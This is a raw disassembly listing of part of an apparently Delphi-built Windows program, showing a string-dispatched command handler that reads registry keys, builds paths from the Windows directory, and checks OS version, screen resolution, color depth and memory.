mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x20ac]
mov ecx, 0xe
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x20a8]
lea edx, [ebp - 0x20a4]
call fcn.0058feb0
mov eax, dword [ebp - 0x20a4]
call fcn.00593654
push eax
lea eax, [ebp - 0x20b4]
push eax
lea ecx, [ebp - 0x20b8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x20b8]
mov ecx, 0xf
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x20b4]
lea edx, [ebp - 0x20b0]
call fcn.0058feb0
mov eax, dword [ebp - 0x20b0]
call fcn.00593654
push eax
lea eax, [ebp - 0x20c0]
push eax
lea ecx, [ebp - 0x20c4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x20c4]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x20c0]
lea edx, [ebp - 0x20bc]
call fcn.0058feb0
mov eax, dword [ebp - 0x20bc]
call fcn.00593654
push eax
lea eax, [ebp - 0x20cc]
push eax
lea ecx, [ebp - 0x20d0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x20d0]
mov ecx, 0x11
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x20cc]
lea edx, [ebp - 0x20c8]
call fcn.0058feb0
mov eax, dword [ebp - 0x20c8]
push eax
mov eax, dword [ebp - 0x424]
push eax
lea eax, [ebp - 0x20d8]
push eax
lea ecx, [ebp - 0x20dc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x20dc]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x20d8]
lea edx, [ebp - 0x20d4]
call fcn.0058feb0
mov eax, dword [ebp - 0x20d4]
push eax
lea eax, [ebp - 0x20e4]
push eax
lea ecx, [ebp - 0x20e8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x20e8]
mov ecx, 0x12
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x20e4]
lea edx, [ebp - 0x20e0]
call fcn.0058feb0
mov eax, dword [ebp - 0x20e0]
call fcn.0040b2d4
push eax
lea edx, [ebp - 0x20ec]
mov eax, dword [ebp - 0x3d0]
call fcn.0058feb0
mov eax, dword [ebp - 0x20ec]
pop edx
pop ecx
call fcn.0057ba2c
test al, al
je 0x5a6153
mov eax, dword [ebp - 0x42c]
mov edx, 0x5ad604
call fcn.00405e6c
je 0x5a6153
mov eax, dword [ebp - 0x42c]
mov edx, 0x5aec4c
call fcn.00405e6c
jne 0x5a5fb4
lea eax, [ebp - 0x42c]
mov edx, 0x5aec58
call fcn.00405adc
mov eax, dword [ebp - 0x42c]
mov edx, 0x5aec6c
call fcn.00405e6c
jne 0x5a5fd6
lea eax, [ebp - 0x42c]
mov edx, 0x5aec78
call fcn.00405adc
lea edx, [ebp - 0x20f0]
mov eax, dword [ebp - 0x3d0]
call fcn.0058feb0
cmp dword [ebp - 0x20f0], 0
jne 0x5a6002
lea eax, [ebp - 0x434]
mov edx, 0x5aec8c
call fcn.00405adc
jmp 0x5a6029
lea edx, [ebp - 0x20f4]
mov eax, dword [ebp - 0x3d0]
call fcn.0058feb0
mov ecx, dword [ebp - 0x20f4]
lea eax, [ebp - 0x434]
mov edx, 0x5aec9c
call fcn.00405d5c
push 0x5aecac
lea eax, [ebp - 0x20fc]
push eax
lea ecx, [ebp - 0x2100]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2100]
mov ecx, 0x12
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x20fc]
lea edx, [ebp - 0x20f8]
call fcn.0058feb0
push dword [ebp - 0x20f8]
push 0x5aecbc
push dword [ebp - 0x434]
lea eax, [ebp - 0x434]
mov edx, 4
call fcn.00405dd8
mov eax, 0x104
call fcn.00402fb0
mov esi, eax
push 0x104
push esi
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x2108]
mov edx, esi
call fcn.00405c3c
mov eax, dword [ebp - 0x2108]
lea edx, [ebp - 0x2104]
call fcn.00589d4c
push dword [ebp - 0x2104]
push 0x5aecc8
push dword [ebp - 0x42c]
push 0x5aecec
lea eax, [ebp - 0x3c0]
mov edx, 4
call fcn.00405dd8
mov eax, esi
call fcn.00402fcc
push 0
push 1
lea edx, [ebp - 0x2110]
mov eax, dword [ebp - 0x3c0]
call fcn.0040bb78
mov eax, dword [ebp - 0x2110]
lea edx, [ebp - 0x210c]
call fcn.00589d4c
mov eax, dword [ebp - 0x210c]
push eax
push 0x5aed08
push dword [ebp - 0x434]
push 0x5adbd8
lea eax, [ebp - 0x2114]
mov edx, 3
call fcn.00405dd8
mov edx, dword [ebp - 0x2114]
mov eax, dword [ebp - 0x3c0]
pop ecx
call fcn.00589b80
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a6167
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5aed18
call fcn.00405e6c
jne 0x5a623e
lea edx, [ebp - 0x2118]
mov eax, 0x5ad84c
call fcn.0058ff78
mov edx, dword [ebp - 0x2118]
mov eax, dword [0x5d508c]
call fcn.00405a98
lea eax, [ebp - 0x211c]
push eax
lea ecx, [ebp - 0x2120]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2120]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x211c]
lea edx, [ebp - 0x3b0]
call fcn.0058feb0
xor eax, eax
push ebp
push 0x5a622f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x3b0]
call fcn.0040b2d4
call fcn.0057ca84
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5aed30
call fcn.00405e6c
jne 0x5a636b
lea edx, [ebp - 0x2124]
mov eax, 0x5ad84c
call fcn.0058ff78
mov edx, dword [ebp - 0x2124]
mov eax, dword [0x5d508c]
call fcn.00405a98
xor eax, eax
push ebp
push 0x5a6364
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
xor eax, eax
push ebp
push 0x5a633d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x212c]
push eax
lea ecx, [ebp - 0x2130]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2130]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x212c]
lea edx, [ebp - 0x2128]
call fcn.0058feb0
mov eax, dword [ebp - 0x2128]
push eax
lea eax, [ebp - 0x2138]
push eax
lea ecx, [ebp - 0x213c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x213c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2138]
lea edx, [ebp - 0x2134]
call fcn.0058feb0
mov eax, dword [ebp - 0x2134]
call fcn.0040b2d4
pop edx
call fcn.0057c470
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a6347
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5aed50
call fcn.00405e6c
jne 0x5a645d
lea edx, [ebp - 0x2140]
mov eax, 0x5ad84c
call fcn.0058ff78
mov edx, dword [ebp - 0x2140]
mov eax, dword [0x5d508c]
call fcn.00405a98
lea eax, [ebp - 0x2144]
push eax
lea ecx, [ebp - 0x2148]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2148]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2144]
lea edx, [ebp - 0x3b0]
call fcn.0058feb0
xor eax, eax
push ebp
push 0x5a644e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x214c]
push eax
lea ecx, [ebp - 0x2150]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2150]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x214c]
call fcn.0040b2d4
push eax
mov eax, dword [ebp - 0x3b0]
call fcn.0040b2d4
pop edx
call fcn.0057c848
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5aed6c
call fcn.00405e6c
je 0x5a6485
mov eax, dword [ebp - 0x438]
mov edx, 0x5aed84
call fcn.00405e6c
jne 0x5a69ce
xor eax, eax
push ebp
push 0x5a68ee
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005923fc
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x2154]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2154]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x3b0]
call fcn.005af628
test al, al
jne 0x5a6515
lea edx, [ebp - 0x2158]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0x2158]
push eax
lea eax, [ebp - 0x215c]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x215c]
xor edx, edx
pop eax
call fcn.0058ffac
lea eax, [ebp - 0x2160]
push eax
lea ecx, [ebp - 0x2164]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2164]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2160]
call fcn.0040b2d4
cmp eax, 4
ja case.default.0x5a6557
jmp dword [eax*4 + 0x5a655e]
mov dword [ebp - 0x54c], 0x80000000
jmp case.default.0x5a6557
mov dword [ebp - 0x54c], 0x80000001
jmp case.default.0x5a6557
mov dword [ebp - 0x54c], 0x80000002
jmp case.default.0x5a6557
mov dword [ebp - 0x54c], 0x80000003
jmp case.default.0x5a6557
mov dword [ebp - 0x54c], 0x80000005
lea eax, [ebp - 0x3c0]
call fcn.00405a44
xor eax, eax
push ebp
push 0x5a68c1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x430728]
call fcn.00430894
mov dword [ebp - 0x53c], eax
mov edx, dword [ebp - 0x54c]
mov eax, dword [ebp - 0x53c]
call fcn.00430970
mov eax, dword [0x5d4b08]
mov eax, dword [eax]
or eax, 0x20019
mov edx, dword [ebp - 0x53c]
mov dword [edx + 0x18], eax
lea eax, [ebp - 0x216c]
push eax
lea ecx, [ebp - 0x2170]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2170]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x216c]
lea edx, [ebp - 0x2168]
call fcn.0058feb0
mov edx, dword [ebp - 0x2168]
xor ecx, ecx
mov eax, dword [ebp - 0x53c]
call fcn.004309d8
test al, al
je 0x5a689c
lea eax, [ebp - 0x2178]
push eax
lea ecx, [ebp - 0x217c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x217c]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2178]
lea edx, [ebp - 0x2174]
call fcn.0058feb0
mov edx, dword [ebp - 0x2174]
mov eax, dword [ebp - 0x53c]
call fcn.00431224
test al, al
je 0x5a687f
lea eax, [ebp - 0x2184]
push eax
lea ecx, [ebp - 0x2188]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2188]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2184]
lea edx, [ebp - 0x2180]
call fcn.0058feb0
mov edx, dword [ebp - 0x2180]
lea ecx, [ebp - 0x608]
mov eax, dword [ebp - 0x53c]
call fcn.00430f94
movzx eax, byte [ebp - 0x608]
cmp eax, 4
ja case.default.0x5a6721
jmp dword [eax*4 + 0x5a6728]
lea eax, [ebp - 0x2190]
push eax
lea ecx, [ebp - 0x2194]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2194]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2190]
lea edx, [ebp - 0x218c]
call fcn.0058feb0
mov edx, dword [ebp - 0x218c]
lea ecx, [ebp - 0x3c0]
mov eax, dword [ebp - 0x53c]
call fcn.0043103c
jmp case.default.0x5a6721
lea eax, [ebp - 0x219c]
push eax
lea ecx, [ebp - 0x21a0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x21a0]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x219c]
lea edx, [ebp - 0x2198]
call fcn.0058feb0
mov edx, dword [ebp - 0x2198]
lea ecx, [ebp - 0x3c0]
mov eax, dword [ebp - 0x53c]
call fcn.0043103c
jmp case.default.0x5a6721
lea eax, [ebp - 0x21a8]
push eax
lea ecx, [ebp - 0x21ac]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x21ac]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x21a8]
lea edx, [ebp - 0x21a4]
call fcn.0058feb0
mov edx, dword [ebp - 0x21a4]
mov eax, dword [ebp - 0x53c]
call fcn.004310b4
lea edx, [ebp - 0x3c0]
call fcn.0040b198
jmp case.default.0x5a6721
lea eax, [ebp - 0x3c0]
mov edx, 0x5aed9c
call fcn.00405adc
jmp case.default.0x5a6721
lea eax, [ebp - 0x3c0]
mov edx, 0x5aedb4
call fcn.00405adc
jmp case.default.0x5a6721
lea eax, [ebp - 0x3c0]
mov edx, 0x5aedcc
call fcn.00405adc
mov eax, dword [ebp - 0x53c]
call fcn.00430940
jmp 0x5a68ac
lea eax, [ebp - 0x3c0]
mov edx, 0x5aede0
call fcn.00405adc
mov eax, dword [ebp - 0x53c]
call fcn.00404ae4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a68db
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5a68f5
call fcn.0059244c
ret
mov eax, dword [ebp - 0x438]
mov edx, 0x5aee04
call fcn.00405e6c
jne 0x5a6cc8
xor eax, eax
push ebp
push 0x5a6cc1
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005923fc
call fcn.0059246c
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x21b4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x21b4]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x3b0]
call fcn.005af628
test al, al
jne 0x5a6a79
lea edx, [ebp - 0x21b8]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0x21b8]
push eax
lea eax, [ebp - 0x21bc]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x21bc]
xor edx, edx
pop eax
call fcn.0058ffac
lea eax, [ebp - 0x600]
push eax
lea ecx, [ebp - 0x550]
lea edx, [ebp - 0x54c]
lea eax, [ebp - 0x57d]
call fcn.0058b108
lea eax, [ebp - 0x21c0]
push eax
lea ecx, [ebp - 0x21c4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x21c4]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x21c0]
call fcn.00593654
test al, al
je 0x5a6c61
lea eax, [ebp - 0x3c0]
mov edx, 0x5aee20
call fcn.00405adc
cmp byte [ebp - 0x57d], 0
je 0x5a6bd7
cmp dword [ebp - 0x54c], 4
jne 0x5a6b1b
cmp dword [ebp - 0x550], 0
jne 0x5a6b1b
lea eax, [ebp - 0x3c0]
mov edx, 0x5aee30
call fcn.00405adc
cmp dword [ebp - 0x54c], 5
jne 0x5a6b3d
cmp dword [ebp - 0x550], 0
jne 0x5a6b3d
lea eax, [ebp - 0x3c0]
mov edx, 0x5aee3c
call fcn.00405adc
cmp dword [ebp - 0x54c], 5
jne 0x5a6b5f
cmp dword [ebp - 0x550], 1
jne 0x5a6b5f
lea eax, [ebp - 0x3c0]
mov edx, 0x5aee4c
call fcn.00405adc
cmp dword [ebp - 0x54c], 5
jne 0x5a6b81
cmp dword [ebp - 0x550], 2
jne 0x5a6b81
lea eax, [ebp - 0x3c0]
mov edx, 0x5aee58
call fcn.00405adc
cmp dword [ebp - 0x54c], 6
jne 0x5a6c72
cmp dword [ebp - 0x550], 0
jne 0x5a6c72
cmp dword [ebp - 0x600], 1
jl 0x5a6bc2
call fcn.0058e160
test al, al
je 0x5a6bc2
lea eax, [ebp - 0x3c0]
mov edx, 0x5aee68
call fcn.00405adc
jmp 0x5a6c72
lea eax, [ebp - 0x3c0]
mov edx, 0x5aee78
call fcn.00405adc
jmp 0x5a6c72
cmp dword [ebp - 0x54c], 4
jne 0x5a6bf9
cmp dword [ebp - 0x550], 0
jne 0x5a6bf9
lea eax, [ebp - 0x3c0]
mov edx, 0x5aee88
call fcn.00405adc
cmp dword [ebp - 0x54c], 4
jne 0x5a6c1b
cmp dword [ebp - 0x550], 0xa
jne 0x5a6c1b
lea eax, [ebp - 0x3c0]
mov edx, 0x5aee94
call fcn.00405adc
cmp dword [ebp - 0x54c], 4
jne 0x5a6c3d
cmp dword [ebp - 0x550], 0xb
jne 0x5a6c3d
lea eax, [ebp - 0x3c0]
mov edx, 0x5aeea0
call fcn.00405adc
cmp dword [ebp - 0x54c], 4
jne 0x5a6c72
cmp dword [ebp - 0x550], 0x5a
jne 0x5a6c72
lea eax, [ebp - 0x3c0]
mov edx, 0x5aeeb0
call fcn.00405adc
jmp 0x5a6c72
lea edx, [ebp - 0x3c0]
mov eax, dword [ebp - 0x600]
call fcn.0040b198
lea eax, [ebp - 0x21c8]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x21c8]
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x3b0]
call fcn.0058ffe4
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5aeebc
call fcn.00405e6c
jne 0x5a7e76
xor eax, eax
push ebp
push 0x5a7e6f
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005923fc
call fcn.0059246c
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x21cc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x21cc]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x3b0]
call fcn.005af628
test al, al
jne 0x5a6d73
lea edx, [ebp - 0x21d0]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0x21d0]
push eax
lea eax, [ebp - 0x21d4]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x21d4]
xor edx, edx
pop eax
call fcn.0058ffac
lea eax, [ebp - 0x21d8]
push eax
lea ecx, [ebp - 0x21dc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x21dc]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x21d8]
call fcn.0040b2d4
cmp eax, 0x4d
ja case.default.0x5a6dc0
movzx eax, byte [eax + 0x5a6dc7]
jmp dword [eax*4 + 0x5a6e15]
call fcn.0058a798
lea edx, [ebp - 0x3c0]
call fcn.00593610
jmp case.default.0x5a6dc0
call fcn.0058a860
lea edx, [ebp - 0x3c0]
call fcn.00593610
jmp case.default.0x5a6dc0
lea eax, [ebp - 0x21e0]
push eax
lea ecx, [ebp - 0x21e4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x21e4]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x21e0]
call fcn.0040b2d4
cmp eax, 7
ja case.0x5a6efd.0
jmp dword [eax*4 + 0x5a6f04]
mov dword [ebp - 0x54c], 0x20
jmp case.0x5a6efd.0
mov dword [ebp - 0x54c], 0x40
jmp case.0x5a6efd.0
mov dword [ebp - 0x54c], 0x80
jmp case.0x5a6efd.0
mov dword [ebp - 0x54c], pe_nt_image_headers32
jmp case.0x5a6efd.0
mov dword [ebp - 0x54c], 0x200
jmp case.0x5a6efd.0
mov dword [ebp - 0x54c], 0x400
jmp case.0x5a6efd.0
mov dword [ebp - 0x54c], 0x800
mov eax, dword [ebp - 0x54c]
sub eax, 2
shl eax, 0xa
shl eax, 0xa
mov dword [ebp - 0x54c], eax
lea eax, [ebp - 0x5e0]
push eax
lea ecx, [ebp - 0x5d8]
lea edx, [ebp - 0x5d0]
mov al, 1
call fcn.0058ad34
mov eax, dword [ebp - 0x54c]
cdq
cmp edx, dword [ebp - 0x5cc]
jne 0x5a6fbf
cmp eax, dword [ebp - 0x5d0]
setbe al
jmp 0x5a6fc2
setle al
lea edx, [ebp - 0x3c0]
call fcn.00593610
jmp case.default.0x5a6dc0
lea eax, [ebp - 0x21e8]
push eax
lea ecx, [ebp - 0x21ec]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x21ec]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x21e8]
call fcn.0040b2d4
add eax, 0xfffffff8
cmp eax, 4
ja case.default.0x5a701b
jmp dword [eax*4 + 0x5a7022]
mov dword [ebp - 0x54c], 0x320
mov dword [ebp - 0x550], 0x258
jmp case.default.0x5a701b
mov dword [ebp - 0x54c], 0x400
mov dword [ebp - 0x550], 0x300
jmp case.default.0x5a701b
mov dword [ebp - 0x54c], 0x500
mov dword [ebp - 0x550], 0x400
jmp case.default.0x5a701b
mov dword [ebp - 0x54c], 0x640
mov dword [ebp - 0x550], 0x4b0
jmp case.default.0x5a701b
mov dword [ebp - 0x54c], 0x780
mov dword [ebp - 0x550], 0x5a0
lea edx, [ebp - 0x5e8]
lea eax, [ebp - 0x5e4]
call fcn.0058b0ec
mov eax, dword [ebp - 0x5e4]
cmp eax, dword [ebp - 0x54c]
jl 0x5a70cf
mov eax, dword [ebp - 0x5e8]
cmp eax, dword [ebp - 0x550]
jge 0x5a70ef
mov eax, dword [ebp - 0x5e8]
cmp eax, dword [ebp - 0x54c]
jl 0x5a70eb
mov eax, dword [ebp - 0x5e4]
cmp eax, dword [ebp - 0x550]
jge 0x5a70ef
xor eax, eax
jmp 0x5a70f1
mov al, 1
lea edx, [ebp - 0x3c0]
call fcn.00593610
jmp case.default.0x5a6dc0
lea eax, [ebp - 0x21f0]
push eax
lea ecx, [ebp - 0x21f4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x21f4]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x21f0]
call fcn.0040b2d4
sub eax, 0xd
je 0x5a714e
dec eax
je 0x5a715a
dec eax
je 0x5a7166
dec eax
je 0x5a7172
jmp 0x5a717c
mov dword [ebp - 0x54c], 8
jmp 0x5a717c
mov dword [ebp - 0x54c], 0x10
jmp 0x5a717c
mov dword [ebp - 0x54c], 0x18
jmp 0x5a717c
mov dword [ebp - 0x54c], 0x20
lea edx, [ebp - 0x5f4]
lea eax, [ebp - 0x5f0]
call fcn.0058ab20
mov eax, dword [ebp - 0x5f4]
cmp eax, dword [ebp - 0x54c]
setge al
lea edx, [ebp - 0x3c0]
call fcn.00593610
jmp case.default.0x5a6dc0
mov eax, dword [0x5d510c]
cmp dword [eax], 2
setne al
lea edx, [ebp - 0x3c0]
call fcn.00593610
jmp case.default.0x5a6dc0
mov eax, dword [0x5d510c]
cmp dword [eax], 2
sete al
lea edx, [ebp - 0x3c0]
call fcn.00593610
jmp case.default.0x5a6dc0
lea eax, [ebp - 0x21f8]
push eax
lea ecx, [ebp - 0x21fc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x21fc]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x21f8]
call fcn.0040b2d4
cmp eax, 0x18
jg 0x5a7251
je 0x5a72eb
add eax, 0xffffffed
cmp eax, 4
ja case.default.0x5a7236
jmp dword [eax*4 + 0x5a723d]
sub eax, 0x19
je 0x5a72ff
dec eax
je 0x5a7315
sub eax, 0x2b
je 0x5a732b
sub eax, 7
je 0x5a733f
jmp case.default.0x5a7236
mov dword [ebp - 0x54c], 4
xor eax, eax
mov dword [ebp - 0x550], eax
jmp case.default.0x5a7236
mov dword [ebp - 0x54c], 4
mov dword [ebp - 0x550], 0xa
jmp case.default.0x5a7236
mov dword [ebp - 0x54c], 4
mov dword [ebp - 0x550], 0xb
jmp case.default.0x5a7236
mov dword [ebp - 0x54c], 4
mov dword [ebp - 0x550], 0x5a
jmp case.default.0x5a7236
mov dword [ebp - 0x54c], 4
xor eax, eax
mov dword [ebp - 0x550], eax
jmp case.default.0x5a7236
mov dword [ebp - 0x54c], 5
xor eax, eax
mov dword [ebp - 0x550], eax
jmp case.default.0x5a7236
mov dword [ebp - 0x54c], 5
mov dword [ebp - 0x550], 1
jmp case.default.0x5a7236
mov dword [ebp - 0x54c], 5
mov dword [ebp - 0x550], 2
jmp case.default.0x5a7236
mov dword [ebp - 0x54c], 6
xor eax, eax
mov dword [ebp - 0x550], eax
jmp case.default.0x5a7236
mov dword [ebp - 0x54c], 6
mov dword [ebp - 0x550], 0xffffffff
lea eax, [ebp - 0x600]
push eax
lea ecx, [ebp - 0x5fc]
lea edx, [ebp - 0x5f8]
lea eax, [ebp - 0x57d]
call fcn.0058b108
cmp dword [ebp - 0x550], 0xffffffff
jne 0x5a73cc
mov eax, dword [ebp - 0x5f8]
cmp eax, dword [ebp - 0x54c]
jg 0x5a73a4
mov eax, dword [ebp - 0x5f8]
cmp eax, dword [ebp - 0x54c]
jne 0x5a73b6
mov eax, dword [ebp - 0x5fc]
cmp eax, dword [ebp - 0x550]
jl 0x5a73b6
cmp dword [ebp - 0x600], 1
jl 0x5a73b6
call fcn.0058e160
test al, al
jne 0x5a73ba
xor eax, eax
jmp 0x5a73bc
mov al, 1
lea edx, [ebp - 0x3c0]
call fcn.00593610
jmp case.default.0x5a6dc0
mov eax, dword [ebp - 0x5f8]
cmp eax, dword [ebp - 0x54c]
jg 0x5a73fa
mov eax, dword [ebp - 0x5f8]
cmp eax, dword [ebp - 0x54c]
jne 0x5a73f6
mov eax, dword [ebp - 0x5fc]
cmp eax, dword [ebp - 0x550]
jge 0x5a73fa
xor eax, eax
jmp 0x5a73fc
mov al, 1
lea edx, [ebp - 0x3c0]
call fcn.00593610
jmp case.default.0x5a6dc0
